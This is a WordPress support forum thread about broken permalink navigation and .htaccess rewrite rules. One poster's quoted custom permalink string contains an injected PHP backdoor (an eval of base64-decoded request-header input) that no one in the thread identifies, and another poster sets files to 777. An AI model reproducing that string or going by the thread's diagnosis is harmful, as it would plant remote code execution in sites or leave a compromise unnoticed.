Navigation doesnt work

Try deleting your root WP .htaccess file and setting your permalinks back to the default setting first.

cant find the .htaccess

It should be in your /blog sub-folder. Make sure that your FTP client or file manager is configured to show all files.

ok i tried everything. I also activated “show hidden files” in my ftp program and i still cant see it. I also tried WebFTP and i cant find the .htaccess

isnt there any other way to solve my problem?

When you changed the permalink structure recently, was there any message about editing your .htaccess file?

dont remember . its really strange. ive been looking for this thing for weeks now. I think its better to reinstall wordpress from beginning

A quick update: I deleted WordPress from my ftp and the database from mysql completely. And then installed again.

Everything works perfect until I change the permalinks to “month & Name”. I then have a “fail” message when i click through my navigation.

If I change back to default ( where the link looks like https://www.website.net/blog/?p=123 ) it works.

But I dont want it that way. Please help me, I’ve been looking for months now

I changed my files to 777 and when I now try to change my permalinks to “month & name” it sais

You should update your .htaccess now
And at the bottom there’s a textfield with my htaccess. What now?

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /blog/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /blog/index.php [L]
</IfModule>

come on. thats not a difficult issue. Someone has to know something that’ll help me.

I’m not sure but to me it looks like this is the code you have to put into your .htaccess file in your blog subdirectory. If there is no htaccess in this directory, simply copy the lines to a text document and save it as .htaccess. Then upload it to your blog subdir . That’s it!
However, be aware that your service provider might not allow you accessing .htaccess and for that reason doesn’t show it to your ftp client. In this case – so it happened to me – you will overwrite the existing .htaccess and your site will be unaccessable until the provider restores the oringinal htaccess. However, this happened to me since I tried to edit my .htaccess information for the root folder and you should not encounter this problem when you upload .htaccess to a subdirectory containing your blog.

Actually, I have a similar problem: Some years ago, I installed wp on https://www.infomorelos.com/blogging/ and it worked fine. Now on a routine check I found out that only the front page shows up correctly while any link doesn’t work, there is always a 404 error. E.g. https://infomorelos.com/blogging/eventos/cuernavaca/carteleracinemorelos/ is a link based on a category or https://infomorelos.com/blogging/2008/05/ is a link base on the Archive or https://infomorelos.com/blogging/page/2/ is the link for previous entries (and surprisingly also for the next page …) None of these links work, but they did work time ago. I did not notice when exactly they stopped working and wonder what could be the reason.
Reading your post I checked my custum link strukture that shows a string like ‘/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/’ (without the ‘s) .
When I deactivate this option and go back to default , my links on the whole blog are working.

ok. i took the text, put it into a text file, named it .htaccess and put it into the folder of my blog.

it did not help, instead it “404’ed the whole blog. after deleting the file, the blog worked fine (except for the navigation problem)

whats going on eh?

come on. I need help

Probably your host didn’t enable mod_rewrite module hahahaha. Which is very rare.

Just ask your web hosting Support to help u.
